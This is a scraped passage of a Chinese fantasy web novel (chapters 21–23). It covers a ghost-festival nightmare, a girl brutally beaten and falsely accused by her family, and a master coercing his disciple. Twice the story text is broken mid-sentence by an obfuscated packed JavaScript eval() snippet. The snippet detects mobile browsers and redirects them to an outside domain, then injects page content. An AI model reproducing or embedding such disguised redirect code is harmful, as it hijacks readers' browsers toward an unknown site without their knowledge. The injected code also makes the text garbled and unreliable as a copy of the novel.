;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489953|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大嘴,将功德珠一粒粒吞噬殆尽,宫玄烛拿手帕的左手抖得厉害,如同掌着千钧重物,最后她猛然回神,用尽力气拉回自己的思绪,一把攥住手帕,不再看上面的变化,这才算彻底清醒,靠在藤椅上微微闭目养神,急促的呼吸逐渐平复,心里不禁纳罕,这阴桃花究竟是何方神圣,只是刺探他的底细,居然险些酿成大祸。 将手帕重新收好,又拿起了布料,一针一线缝制起来,窗外依旧风雨萧索。 时光似乎在倒转,满城烟雨中她看着那道苍青色的身影,手执长枪,勒马停蹄,地上护心镜的碎片如同一片星光,天光刺眼,她看不清那人的模样,策马擎枪的身影如同一张永不褪色的剪纸。 “你让不让?” 她听见自己说:“不让,护心镜碎,攀甲绦断,弓弦崩,马哀鸣,种种不祥之兆,你为何执意要战!” 她为何如此焦急,如此痛苦?那马上的将军是谁?是她的什么人?她为何如此在意他的生死? “死生有命,富贵在天,有何惧之。” “好歹带着我,我纵然无能,但绝不会给你拖后腿!我保证,我发誓!” “带你做什么?不够给我添乱的,若敢私下逍遥峰,你就不必再回来了!” 那青衣人策马扬长而去,天边残阳似血,映红了离人一双眼眸。 她脸上满是风雨,冷的雨、热的雨一起往下流,眸中一片血红,声嘶力竭地喊道:“师尊!” 师尊? 宫玄烛缓缓睁开眼睛,脑袋疼得仿佛要炸开,指尖蘸上窗台上摆放的朱砂,在桌子上刷刷写下几个关键词。 逍遥峰,师尊,战争,将军。 对着这四个词,宫玄烛双手抱臂,在镜子前来来回回踱步。 “阿偃!从九百年前算起到现在,灵煌洲上有几个逍遥峰。” 傀儡娃娃眼珠子又咕噜噜转了几转,似喜似悲的声音再次响起:“回主人,此九百年间,灵煌洲上大大小小共有二十三个叫做逍遥峰的门派和山峰。” “挑出其中宗主年纪在二十到三十之间的。” “回主人,挑选之后剩余符合条件的有三个,西北梵净山逍遥峰、中原青华门逍遥峰、东南翠屏山逍遥峰。” 宫玄烛一拍桌案,答案马上呼之欲出了,不枉她花了这么大代价:“哪位宗主如今已不在人世了?” “回主人,梵净山逍遥峰主须烟景,九百年前在凤城战死,青华门逍遥宗主顾怜生三百年前在雾山身陨。” 宫玄烛最后问了一句,表情几乎僵硬:“那么,此二人中,谁擅使长枪?” 谶语化灰,随风而逝,她站在原地似笑非笑,最后笑出了声,不知是在笑自己还是笑那个傻子。 林夕者,梦也,原来不是梦,是梦中人。 她轻轻叹息,脸上多了一丝悲切与困惑,自言自语道:“若换做是我,想必,我更愿意让你忘却一切,前尘怎样,今生又怎样,我究竟是谁,重要吗?” 21. 姥姥家门前唱大戏 这天日子头不太好,既是林瑶陌菱姐妹的生日,也是一年到头阴气最重的鬼节。陌菱一早人又不见了,估计是觉得眼不见为净跑出去躲着了,尹星灯自然忙着给爱徒筹备生辰。 梨花酿的味道醇香浓烈,如同恋人的心,滑入喉间仿佛能灼烂肺腑,爱酒之人认为其千金难买,酒中极品,或细品浅酌,或一饮而尽,但那不爱酒的,微微皱眉,笑言拒绝,被劝得紧了便接在手里,趁对方不注意随手往犄角旮旯里一泼,心道,什么破玩意儿! “瑶儿,生辰喜乐。” 他斟了满满一杯酒,林瑶脸色一变,仍然温声细语道:“弟子多谢师父美意,只是弟子自小不会饮酒,还请见谅。” 尹星灯微微蹙眉,又笑劝道:“凡事都有第一次,瑶儿长大了,岂不知这酒中的学问也大了去了,不若趁此良辰美景,你我师徒品酒谈道,也是人生雅趣,瑶儿意下如何?” 林瑶再次拱手:“请恕弟子不敢苟同,修道之人戒七情六欲、酒色万万不敢沾染,千里之堤溃于蚁穴,今日饮酒,明日乱性,后日便可提刀杀人,故此,凡我辈弟子当以第一条戒酒令为金科玉律,才能保证不误入歧途。” 尹星灯心中妒火蔓延,面上强作镇定:“小酌怡情,为师不过是想为你庆贺生辰,何至于如此紧张?莫非是怕自己把持不住,酒后吐真言?” 林瑶却面不改色,彬彬有礼且油盐不进,仿佛会呼吸的死人:“师父说笑了,这是两码事,师父好意弟子心领了,这酒还是免了吧。” 她转身要走,尹星灯变脸比翻书还快,当即横眉立目拿出了师父的款,他平时不这样的,都是让林瑶给逼得没办法了: “站住!为师让你走了?” 林瑶心知今日之事不会善罢甘休,定住脚步,回身站定,看着那张熟悉的面容满心的疲惫,但嘴角依旧挂着得体温雅的笑意,仿佛一层假面具: “师父教训得是,弟子失礼了。” 尹星灯端起酒杯,深呼吸一回,黯然别过脸去:“只此一盏,为师信不过你,想听听你的真实想法,如若,”他的眉头深深拧着,逼着自己将心头那个令人恼恨的假设说出来,“你醉酒之后仍然心如磐石,为师自此不会再打扰你,如此可好?” 林瑶稍一迟疑,尹星灯敏锐异常,见缝插针道:“瑶儿,你怕了?你就是在口是心非,你心里究竟是有了别人,还是不肯承认你对为师的心意?” 林瑶别过了脸,面颊微微泛红,矢口否认:“绝无此事!” 尹星灯将酒杯递到她唇边,眸中闪烁着异样的光彩,几乎是咄咄逼人:“喝下去,证明给我看。” …… 独坐离梦阁里左右没意思,宫玄烛又拐走了商羊四处溜达,半路遇上了一个小孩,他满街乱跑,身后楚纤茉紧紧追着,气喘吁吁:“楚珏!你回来!” 宫玄烛眼睛一亮,原来阴差阳错又到了槐荫镇了,也不知几位好友最近如何。 “略略略!”楚珏回头翻白眼吐舌头,仍旧乱跑乱跳,怀里抱着一包东西。 显然,这位楚家妹妹过得不怎么样。 宫玄烛略一伸脚,这楚珏惊呼一声摔了个大马趴,手里东西散落一地,却原来是一包散碎银钱并一些女子的衣服首饰。 楚纤茉已经追了上来,急忙全部捡了起来归拢,这楚珏哪里肯依,撒泼打滚、鬼哭狼嚎,他并没有看到宫玄烛给他使绊子,只嚷嚷着楚纤茉是强盗,抢走了他的东西。 被倒打一耙,楚纤茉气急败坏,小脸憋得通红:“明明是你从家里翻去的,还想抵赖给我!我现在拿回去交给爹娘去!” 楚珏本来四脚朝天在地上打滚,仿佛一头滚泥潭的猪崽子,发出的声音也是杀猪一般响亮,一听这话一骨碌翻起来死死抱住楚纤茉的腰,两只眼珠子咕噜噜一转,远远瞅见自家爹妈过来了,登时嚎啕起来:“爹!娘!快来呀!楚纤茉偷咱家东西了!” 楚纤茉登时小脸蜡黄,似乎没料到会上演这么一出,只怄得声堵气噎,牙齿发颤:“你……你别冤枉好人!明明是你偷的!” 那楚珏低笑道:“二姐姐,乖乖把东西给我,替我背了这个黑锅,好处多着呢,不然叫你死无葬身之地。” 宫玄烛修道之人,耳聪目明,将楚珏的话尽数听了进去,竟禁不住脊背发凉,一个五六岁的孩子,何至于有如此心机? 眼见楚家两口子已经逼近,楚珏变本加厉跟楚纤茉撕扯着,楚纤茉不知怎么回事,手里劲头也松了,楚珏抢过这包袱一溜烟扑到老爹怀里,扭头得意洋洋看着楚纤茉,嘴上带着哭腔:“爹爹!娘亲!二姐姐偷东西了!孩儿亲眼所见!” 楚母拿过包袱三两下打开一看,里面多数是大女儿的衣裳簪环,心里已经信了八九分,气得浑身发抖,三两下赶上前给了楚纤茉一巴掌,扇得这姑娘一个趔趄翻倒在地,捂着半边肿起的脸,抽抽噎噎道:“不是我……是楚珏干的……” 那女人厉声喝道:“还敢扯谎!珏儿一个男娃,偷这些衣裳做什么?定是你这不知廉耻的贱蹄子偷了你姐姐的衣服,是不是打算带去外面藏起来,又或是送给你那起子狐朋狗友!” 一边说着一边大口啐着,楚纤茉委委屈屈,也不敢再辩解,眼见连累了苏潋影、钟诗琼等人,少不得又解释两句:“阿娘,我真的没有偷姐姐的东西……” 楚珏又在旁边跳着脚煽风点火,又哭又嚎:“爹爹!娘亲!我再不要一个贼姐姐,连我都带累坏了!咱们家都成什么人了!” 眼见周围的人越聚越多,楚父再也按捺不住,揪着楚纤茉的耳朵连推带搡回转家中,宫玄烛紧随其后,见他们深闭家门,料不能好,飞身跃上屋顶隐匿身形,却见楚纤茉已经倒在了院子里,这边楚父竟拿了一条儿臂粗的麻绳沾了水,赶牲口似的下死手往楚纤茉身上抽去,那傻丫头也不知道躲的,咬牙生挺着,挺不过时便呜呜咽咽哭了起来。 宫玄烛如何忍心看下去,双手结印一道护阵打下去,谁知居然被一股奇异的力量弹开了。宫玄烛还以为是自己忙中出错,又试一次结果还是如此,她的术法居然对楚纤茉不起作用,也制止不了楚父,这可太奇怪了。 宫玄烛迅速环顾周围场景,屏息凝神,只是槐荫镇太过阴冷,又加之日子特殊,实在辨别不清究竟是何方妖邪作祟。 楚纤茉奄奄一息被拖进了一个房间,宫玄烛隐匿身形跟着过去,暗中也好帮她一把,谁知不多时,楚珏也出现了,他俯视着蜷缩在地上的楚纤茉,脸上神情不是一个七八岁的孩子能有的,狡诈阴险,诡笑道:“二姐姐,这滋味不好受吧,你说说你,长得不好看、嘴巴也不乖巧、又是个没用的女子,这辈子都得不到爹妈的关心,何必呢,我要是你,早就一头碰死了。” 宫玄烛心下一惊,坏了!这小兔崽子居然在教唆楚纤茉寻死!楚纤茉真的死了,对他有什么好处? 这时,楚纤茉缓缓抬眸,连咳带喘半晌,眸中满是恨意,盯着楚珏冷声咒道:“你会遭报应的……” 楚珏眯起眼睛,一脚踩在了楚纤茉肿起的脚趾上,狠狠碾了几下,过了一会儿又出去端了一碗滚烫的稀饭来,狡笑道:“二姐姐,吃饭了!” 楚纤茉吓得连连往后缩,冷不防楚珏将整碗饭照着她的脸泼过来,宫玄烛并未现身,而是拿魂灯挡了一下,粥碗摔碎在了地上。 楚珏轻轻蹲下,一点点捡起碎瓷片,眼底是不怀好意的诡笑:“二姐姐,既然你不领情,那我只好再帮你一把了。” 宫玄烛悄悄跟了上去,夜幕降临,楚家一家子人围在一起吃晚饭,楚珏果不其然又开始作妖了,忽然放下筷子道:“祖母!爹爹!娘亲!” 楚家老太太满脸堆笑:“怎么呢大宝贝?” 楚珏一脸稚气:“亲姐弟可以做夫妻吗?” 一时之间,席间鸦雀无声,连宫玄烛也被这句话镇住了,半晌,一颗心扑通扑通乱跳,牙根一阵发酸,这死小子想干什么? 楚父一巴掌拍在桌案上,登时两碟子菜震落在地摔得粉碎:“你个逆子!这话是打哪听来的!今天若不说清楚,仔细老子打烂你这张嘴!” 楚珏吓得脸色惨白,张着嘴半天说不出一个词儿,楚老太太搂着他肝儿肉儿哄了半天,才抽抽嗒嗒道:“是二姐姐说的……私下没人时叫我去她房间,说教我玩游戏,让我脱了衣裳和她一起睡觉……” 楚父听了这话脸色发白,两眼一翻几乎晕厥在地,楚母连忙捂了大女儿的耳朵,拽着她抱着小女儿急急忙忙躲回了房间。 宫玄烛一口恶气差点堵死自己……好歹毒的计策,这楚珏究竟与楚纤茉有何仇有何怨,竟非要她的命不可! 这边楚父气得牙齿打颤,血灌瞳仁,一拳砸在饭桌上,发狠道:“索性我打死这个逆女也罢!有欢儿和珏儿也够,倒多生了个孽根祸胎,今日若不趁早打死了,以后定要败坏家门,辱没祖先!” 宫玄烛暗叫不好,急急忙忙来柴房找楚纤茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489954|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,意欲带她赶快离开这是非之地。 谁知一脚迈出大堂的门槛,发现这座宅子的布局整个都不对了,天空黑沉沉的,没有一丝星月之光,漆黑的仿佛浓稠的墨汁,院子四角挂了红灯笼,散发着亮光,此情此景下却显得有些诡异。 楚父还在高声叫嚷:“我打死这个逆女一了百了!” 楚家老太太嘟嘟囔囔,嘴里不停地低声咒骂着什么。 楚父抄着一根棍子,怒目圆睁,径直从宫玄烛面前走过,仿佛看不见已经解除了隐身法的宫玄烛。 天空乌云密布,似乎有一双手在不停地搅动风云,倾刻间电闪雷鸣,一道道霹雳直打入庭院,照得整个院子亮如白昼。 远处,似乎有咿咿呀呀的声音传入耳畔。 满腹闲愁,数年禁受,天知否? 天若知我情由,怕不待和天瘦。 莫不是八字儿该载着一世忧?谁似我无尽头!须知道人心不似长流水…… 宫玄烛有心想忽略这不知从哪里传来的唱戏声,可是白费力气,这声音仿佛无孔不入,咿咿呀呀,字字泣血,听得人毛骨悚然,心跳如擂鼓。 她知道今夜必定不太平,万万没想到遇到了这么棘手的情况,这里并非真实的槐荫镇楚家宅院,而是一个人的梦魇之境。 眼下最重要的就是找到楚纤茉! 宫玄烛这般想着,手里已经攥紧了魂灯,辟邪魂灯光芒乍现,她抬脚欲走,忽然感觉后衣襟让人拽了拽,宫玄烛脖子有些僵硬地回过头,看见了一个漆黑的发顶,那家伙微微仰起脸,简直惨不忍睹,皮肤蜡黄、七窍流血,瞪着一双大而无神的漆黑眸子,声音却十分稚嫩,还有些怯生生的。 “大姐姐,你能带我一起去看戏吗?奶奶不让我出门……” 宫玄烛伸出手,小女孩将脏兮兮的小手搭在了她手上。 小女孩光着脚,每走一步,地上就多一个触目惊心的血印子。 宫玄烛被小女孩带着往前走,不多时就见前方熙熙攘攘都是人,喧哗声、喝彩声不绝于耳,唱戏声也更加清晰。 莫不是前世里烧香不到头,今也波生招祸尤?劝今人早将来世修。 我将这婆侍养,我将这服孝守,我言词须应口。有日月朝暮悬,有鬼神掌着生死权。 手里忽然一空,小女孩不知何时挣脱宫玄烛的手跑了出去,她身形小,三两下钻到人群里去了,仿佛急着跑到前面去。 宫玄烛怕跟丢了,急忙往前跟去,想到戏台前必须穿过层层人群。 “不好意思,借过一下。” 其中一个人轻轻回过头,一张模糊不清的人脸映入眼帘,宫玄烛与对方对视了大概半炷香的功夫,那人轻轻侧过了肩膀,木讷地望向前方的戏台,僵硬地鼓着掌。 宫玄烛花了半晌的功夫才算挪到戏台前,这才看清全貌,原来演的是傀儡戏,傀儡师藏在戏台后面,拿牵丝操纵着戏台上的木偶,木偶们举手投足,惟妙惟肖。 只见台上有一个红衣的木偶,跪在地上,双手反剪,手足都戴了镣铐,看得出来是个女囚犯,旁边是两个凶神恶煞的侩子手,再旁边是一个监斩官。 宫玄烛不懂戏,不知道唱的是什么,只觉得很烦,那个女囚犯咿咿呀呀唱的人心烦意乱。 天地也,只合把清浊分辨,可怎生糊涂了盗跖、颜渊?为善的受贫穷更命短,造恶的享富贵又寿延。 宫玄烛急着找那个小女孩,瞥了一眼戏台将视线又转向其他地方,只见小女孩在人潮之中钻进钻出,瘦小的身影忽隐忽现,她一会儿蹲下一会儿直起身,似乎是在捡什么东西,很快,宫玄烛看清了,小女孩在捡地上的冥币。 不一会儿,她这种行为被人发现了,人群中一阵骚乱,几个小孩围住她又唱又跳,仿佛是在举行一场古怪的献祭仪式,人群中有一个拿棍子的中年男人走了出来,拨开那群起哄的小孩,一脚将小女孩踢得满地乱滚,细长直的棍子抽打在身上,纸做的身体、纸扎的长棍,宫玄烛却能看到皮开肉绽的惨状,甚至能听到凄惨的哭号。 与此同时,戏台上监斩官一声令下,刽子手挥起大刀,女囚犯人头落地,木偶的脑袋仿佛一只烂西瓜咕噜噜滚到了宫玄烛脚边,圆睁着的眼睛眨了眨,脖颈的切面处冒出了一圈黑乎乎的血迹。 一曲落幕,台下爆发出雷鸣般的掌声和喝彩声。 “好!” “唱得真好!” “再来一个!” 22. 高楼失脚,惊梦一场 宫玄烛感觉自己的衣襟又被拉了一下,一只血刺呼啦的小手正拽着她,小女孩头上多了一个血窟窿,咕嘟嘟往外冒着血,半张脸被粘稠的鲜血糊得睁不开眼,如同有人在她脸上泼了一碗血糯米,另外半张脸还是干净的,两厢对比下活脱脱一张阴阳脸。 宫玄烛看向小女孩指的地方,是一个卖糖人的小推车,小孩子大都喜欢这些甜腻腻的吃食。 走到小摊前,只见铁锅里糖浆熬得沸腾,案板上沾着陈年的糖渍,宫玄烛打量几眼,见小推车上贴着许多剪纸,日久年深剪纸已经发白,有几张破损得极为严重,依稀能看出来是猫、狗、兔子之类的小动物,还有悟空、八戒、龙女、嫦娥这样一些天神形象。 小女孩认真挑选了许久,最后选了一只做工简单的小兔子,宫玄烛往案板上扔了一枚古铜色的六界通宝,摊主愣了好久,举着糖勺却久久没有动作,宫玄烛等得不耐烦直接夺过他手里的家伙什,三两下画了一只还算像样的兔子,将竹签子按在兔子身上,等稍微冷却后拿铁尺轻轻铲下来递给小女孩,小女孩看起来很高兴,带着宫玄烛又往戏台那边走。 这次台上是两个木偶,都拿着扇子,做书生打扮,一个清爽俊朗,一个袅娜纤细,大概听了一会儿,宫玄烛猜测可能是梁祝,小女孩看得很认真,手里的糖人在慢慢融化都浑然未觉。 就在这时,远处忽然跑过来一个小男孩,依旧是五官模糊不清的纸人形象,伸手就夺小女孩手里的糖人,小女孩攥得极紧,奋力挣扎着,那小男孩抬手在她手背上狠狠掐了一把,半融化的糖人被小男孩一把捏碎,扔在地上用力踩了几脚,随后蹦蹦跳跳似乎冲小女孩扮了个鬼脸,他用力一跳,双手在小女孩背上一撑跳了过去,小女孩脸朝下栽倒在地,手里串糖人的那根又细又长的竹签子直接从眼睛里戳了进去。 梁祝化蝶翩跹而去,台上一曲再次落幕,台下再次爆发出震天撼地的掌声。 “好!” “再来一个!” 宫玄烛再看向戏台下时,小女孩不见了,地上斜插着一根血淋淋的竹签,她盯紧远处那个瘦小的身影,拔腿就追,跑上数十级台阶,眼前出现了一座寺庙,跨入三尺高的门槛,入目是巨大的青铜鼎,香火鼎盛,缭绕云雾后面是一尊八尺来高、安坐于珠帘玉幕后,身披五彩缎面的女神像,慈眉善目,眉眼低垂,嘴角含笑。 神龛之下,善男信女络绎不绝地前来参拜,云雾缭绕间,宫玄烛仿佛看到了神女在微笑,轻轻蹙起眉头,一会儿又柳眉倒竖、杏眼圆睁,一副嗔怒之态。 渐渐地,神女的脸似乎在变化,那眉眼五官不再炯炯有神,而是有些臊眉耷眼,一副畏畏缩缩的模样,宫玄烛不由心跳骤然一停,这张脸上的神态,她见过多次,分明是楚纤茉! 熙熙攘攘的香客中传出一声极细极轻的叹息,宫玄烛迅速一扭头,果然在人群中看到了熟悉的身影,含胸缩肩,低垂着脸,面容遮挡在蓬乱的发丝之下,只露出惨白的下半张脸,转身往僻静处走去。 站住! 宫玄烛在心底大喝一声,那人似乎吓了一跳,拔腿想跑,宫玄烛穷追不舍,没跑几步就堵住了她的去路。 你还想躲哪里去! 那蓬头垢面的人的确是楚纤茉,她似乎有些神志不清,明明以前见过宫玄烛,在梦境中却认不出来,眸露惊惧之色,不由自主地后退几步,双臂在胸前渐渐合拢,是一个防御的姿势。 宫玄烛心知,楚纤茉这孩子防备心极重,最好一次就取得她的信任,否则弄巧成拙都是轻的,刺激到她可能导致对方永远困在这光怪陆离的梦魇之中。 不好意思认错人了,借过一下。 宫玄烛假装与她擦肩而过,悄悄回眸去观察她的反应,果然,楚纤茉的肩膀缓缓放松,在原地站了许久,抬脚往戏台边缘走去,那个地方所站的人寥寥无几。 宫玄烛走至一个面具摊前,抬手抄起一张看起来人畜无害的兔子面具,梦境之中,所念即所得,况且在别人的梦境中,宫玄烛无比地清醒,心里想着那个熟悉的人影,她应该是一身崭新的碧色罗裙,梳着双丫髻,额前是及眉的齐刘海儿,腰间挂着一串银铃。 戴上兔子面具,宫玄烛大摇大摆走了几步觉得不对劲,大概回忆了一下那小姑娘走路的姿势,开始脚步轻快地蹦蹦跳跳,颇有种老黄瓜刷绿漆的感觉,若不是带着面具,这老脸真就挂不住了。 自背后拍了一下楚纤茉的肩膀,姑娘回过头眼里露出无法言说的惊喜之色,见她有张开双臂的趋势,宫玄烛连忙给了她一个大大的拥抱,算是取得了初步的信任,接下来就可以实施计划了。 她握着楚纤茉的手,将不喜欢看戏的想法传达给她,楚纤茉察觉后反问她想去哪里玩,自己可以随时奉陪。 果然是好闺蜜啊。 宫玄烛拉着她往人烟稀少处走,一步步上了戏院中最高的建筑,九层高的佛塔,站在高处,楚纤茉似乎也心情畅快了不少,下面是星星点点的商铺灯笼,远处是铜锣鼓点交响的戏台,黑压压的人群挤成一片,仿佛一群蚂蚁。 楚纤茉果然是个戏痴,即使看不清楚那方小小的戏台,还是手扶栏杆向那边张望,侧耳倾听着悠悠传来的鼓乐与歌声,连宫玄烛悄悄走到她身后都没有发现。 你给我下去吧! 宫玄烛毫不客气,狠狠一把将楚纤茉推下了高楼,少女脸上露出了不可置信的神色,太过震惊而没有多余的表情,随着她不停地坠落,下方的戏台、人影、灯笼都开始模糊、破碎,所有事物化作一团黑漆漆的烟云,不断地盘旋扭转,仿佛一个深不见底的漩涡,将坠落的少女悄然吞噬。 宫玄烛忽然有些愧疚,想摘下脸上的面具又顿住了,抬脚走出了这个压抑丑恶的梦境。 此时,她正站在楚家的柴房里,眼前是奄奄一息的少女,身上绑着胳膊粗的麻绳,头上滴滴答答往下流水,身子时而微微抽搐一下,在灭顶的痛楚中,寒冷似乎算不得什么,她早就醒了,回想起自己迷迷糊糊中似乎做了个……很难过的梦。 最好的朋友将她推下了高楼…… 听人说,梦都是相反的,一定是她们的关系太要好了,才会做这种梦吧。 “走吧。” 宫玄烛将她扶了起来背在身后,示意让她提起那盏魂灯。 楚纤茉乖乖趴在她身后,提着魂灯的手有些无力,鲜血一滴一滴流淌着,自手背蜿蜒而过没入指缝,汇聚成不知名的笔划。 “苏苏……我刚才做了个梦,梦到你了,结果你就来了……” 宫玄烛不便开口,只能默默地走着,躲过在门口抽旱烟的楚老爷子,走上了荒寂无人的大街。 中元之夜,纸钱乱飞,阴风阵阵,可两个人谁也感觉不到害怕。 “苏苏,你说,我上辈子是不是什么罪大恶极的歹人,所以神明罚我这辈子来赎罪……可是,到底要什么时候才能还完债?还是说这辈子我都不得解脱?” 宫玄烛想骂醒她,又生生忍住了。 赎个屁的罪,人活一生,个个背着上一世的罪业,疯了啊? 前方白影绰绰,脚不沾地,飘飘荡荡,似乎注意到了街上两个异类,这个时候,几乎是家家户户门窗紧闭,熄灭灯火。 她们二人走在街上,如同被世界遗弃,仿佛站在生之彼岸。 楚纤茉其实最怕鬼了,可今日她忽然不怕了,反而觉得有一种解脱感,心下暗暗敲定主意,一会儿如果遇到什么危险,一定要冲在苏潋影前面,保护自己最好的朋友。 隔着一条街,清脆的梆子声落入耳中,在这种命悬一线的境况下,让人产生一种错觉,仿佛心脏是一张绷紧的鼓皮,而那无形的鼓槌正一下挨一下敲击在心门上。 街上游荡的鬼影越来越多,接下来恐怕是百鬼夜行,而此时街上唯一可以落脚的地方无疑是眼前废弃的戏楼。 宫玄烛毫不犹豫,迈步走入百戏楼,所幸一路上楚纤茉时而昏迷、时而清醒,并未怀疑她的身份,一直将她当作苏潋影,她也顺利从楚家拐走了这个大概是前妻所生的灰姑娘。 进入戏楼气还没喘匀了,新的问题又出现了,不知何时,街上游荡的鬼怪开始向戏楼靠近,许是嗅到了活人的气息,中元夜正面遇到这些东西不是闹着玩的,一来双拳难敌四手,二来鬼魂在中元夜占据天时,更加不好对付。 宫玄烛随手扔下几张皮影,让它们暂时抵挡一下,而自己带着楚纤茉迅速转移阵地,往楼上跑去。 而此时,皮影几乎全被纷涌而至的鬼怪给冲散了,楚纤茉听见身后凄厉的哭喊声,鬼使神差地一回头,忽然就停住了脚步, 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林瑶、陌菱都在星辰宫不消担忧,而楚纤茉今晚真的是生死难料,在家里倒还好,家是一道无形的屏障,可以阻挡一定的危险,可楚纤茉这个被扫地出门的姑娘,现在失去了这道屏障,毫无疑问成了鬼节最显眼的靶子,似乎谁都可以争一下。 现在这个局势真是糟透了。 宫玄烛拉着楚纤茉往楼上跑,可是三楼尽头的楼梯忽然变成了十几条岔道,仿佛一座迷宫,一看就是虚幻的空间,这座戏楼总共才有多大?此时此刻踏错一步真是不堪设想,宫玄烛左右一看,有好些个皮影在绳子上挂着,迅速拽下十几只来,傀儡们在她手中活了过来,魂灯的光芒忽然一闪,变成了血红色,映着宫玄烛一双眼眸如同鬼魅,随着她低声念动咒语,十几只皮影嗖嗖地飞了出去,各自去探路。 少时,宫玄烛十指上连着傀儡的红丝接二连三的被一股奇异的力量拽断,只剩下左手无名指上的一弦。 带着楚纤茉跑上楼顶,迎面而来是几个红衣披发的鬼魅,而在楚纤茉眼里却是她最恐惧的嘴脸,宫玄烛见状手中魂灯化作一把长刀,刀光所到之处鬼哭狼嚎之声不绝于耳,岂料杀到最后,那鬼魅化作了她很熟悉的一张脸,少年剑眉星目,唇红齿白,朝她微微一笑,宫玄烛手中原本神佛无阻的长刀忽然顿了一瞬,下一刻反手刺入了那少年当胸。 那鬼魅消散之前幽幽在她耳边嗔怪道:“师尊好狠的心……” 宫玄烛顿时心跳一滞,他叫我什么? 但来不及想太多,情况紧急,只能带着楚纤茉继续逃跑。 百戏楼只有五层,到了这一步几乎退无可退,两人站在屋顶,宫玄烛身上的符咒几乎用尽了,而下方的楼梯吱呀乱晃,如同地震一般,尘土簌簌飞扬,毫无疑问是有无数鬼怪争先恐后地往上爬。 宫玄烛出了一身的冷汗,手开始发抖,摸到道袍袖袋里的两截线香,一长一短,气得骂娘,出门不带传音符,死了活该啊! 手心的线香握到汗湿,她几乎生锈的大脑再次开始转动,急忙将长一截的线香从中间折断,将三根拼凑成的线香插在木板缝隙里点燃,迅速盘膝而坐,默念三遍心中所求。 最好来个厉害点的,把这些甩不掉的牛皮糖全清理干净了…… 扶乩请仙虽然好用,但折寿,被许多名门正派列为禁术,严格禁止门内弟子修习。 宫玄烛不在乎,千年王八万年龟,活那么久干什么。 第一波冲上楼梯的鬼怪被宫玄烛身上一道刺目的金光击穿灵体,随后化作清风散去,五楼连接四楼的楼梯随着这一击轰然倒塌,一阵地动山摇之后,归于平静,不止是戏楼安静了,方圆百里也是一片死寂,宫玄烛明显感觉到先前一直压在胸口的紧张感消失了,仿佛危险已经彻底平复。 宫玄烛回过神来,线香只剩指甲盖长短,香头在夜风中摇摇欲坠,她迅速念了三遍送词,身上充沛的灵力撤去,整个人险些栽倒在地,仿佛刚战斗了三百回合,手臂酸软到没有一丝力气,让她不禁怀疑,这次究竟是请到了何方大罗真仙,上身不到半炷香,几乎要了她的小命。 不过还好,最终两人都平安无事,这就是不幸中的万幸了。 四更的梆子声敲响,预示着鬼节已经过去了,新的一天开始。 23. 瑶瑶快跑 宫玄烛长长舒了口气,掀下面具擦去一脸的冷汗,坐在原地靠着栏杆休息,楚纤茉也愣愣地坐在原地,嘴唇张了张:“你,不是苏苏。” 她嘴唇轻颤,仿佛陷入了极大的恐慌之中,转头就想跑,差点从断裂的楼梯上掉下去,宫玄烛一急,伸手抓住了姑娘的脚踝,对方维持着那个迈步的姿势,下一秒直接两眼一翻晕死过去,不知道是吓的还是累的。 宫玄烛将晕倒的人接住,努力说服自己,孩子一定是困了,还是先把人送到红线坊再说吧。 …… 尹星灯嘴角微微上扬,眼中闪过一丝戏谑,缓步走到林瑶身前蹲下:“呵,还嘴硬呢……” 他伸出修长的手指,轻轻挑起她的下巴,迫使她与他对视:“明明都已这般模样,还说自己道心未乱?”眼神中满是不容置疑的笃定,像是在看一只困兽,“莫要再挣扎了,乖乖承认,你已动了情,这无情道,你修不了了。”语气中带着一丝不容抗拒的强硬。 林瑶打开他的手,提起适才掉落的剑。 尹星灯眼中闪过一丝诧异,随即又是浓浓的不悦:“哼,还执迷不悟!” 见她拔出仰山雪,尹星灯身形一闪,瞬间来到她身后,双手环住那段纤腰,不由呼吸一滞,用力将人桎梏在怀中:“你觉得,此刻你还能拿剑伤我?”下巴抵在她的肩头,呼吸炽热地喷洒在她脖颈处:“别白费力气了,接受你已动情的事实吧。” 林瑶一个肘击打开他,旋剑回身,冷眸中染上的情念皆被杀意覆盖。 尹星灯闷哼一声,后退几步,脸上却仍挂着那抹病态的笑:“好啊,不愧是我的乖徒儿……” 他双手负于身后,周身泛起如梦似幻的绮光,正是“天星阵”施展之兆。 “瑶儿觉得,你杀得了我吗?” 身形如电,瞬间欺身而上,抬手欲夺她手中长剑,脸上尽是疯狂与决绝。 林瑶回身旋剑,闪退他身后,剑光如电,扫至他头顶削飞了束发羽冠,一头银白长发瞬间散落,尹星灯却不怒反笑,笑声癫狂肆意:“哈哈哈哈哈哈……好剑法!”猛地转身,眼神中满是兴奋与病态的痴迷,“但这还不够!” 单手快速结印,口中念念有词,只见四周飘落的樱花纷纷化作利刃,如疾风骤雨般朝她射去:“瑶儿,让为师看看,你还有多少本事!” 他的表情狰狞可怖,是走火入魔的前兆。 林瑶在樱花剑雨中躲得狼狈不堪,努力挥剑挡开铺天盖地射向自己的绮丽飞镖,但大部分还是躲不开,身子踉跄着被逼退,一袭白衣逐渐染上朵朵红梅,咬牙硬撑着,手中剑芒大盛,杀意完全盖过了情欲,就是要痛,越痛越好! 看着她白衣染血,尹星灯眼中闪过一丝心疼,却又很快被偏执取代,内心一个声音叫嚣着想要征服她! “不自量力。” 